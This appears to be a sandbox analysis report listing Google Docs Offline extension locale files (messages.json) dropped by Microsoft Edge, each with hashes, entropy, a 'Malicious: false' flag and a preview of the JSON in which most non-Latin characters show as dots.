Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir4512_9814312\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
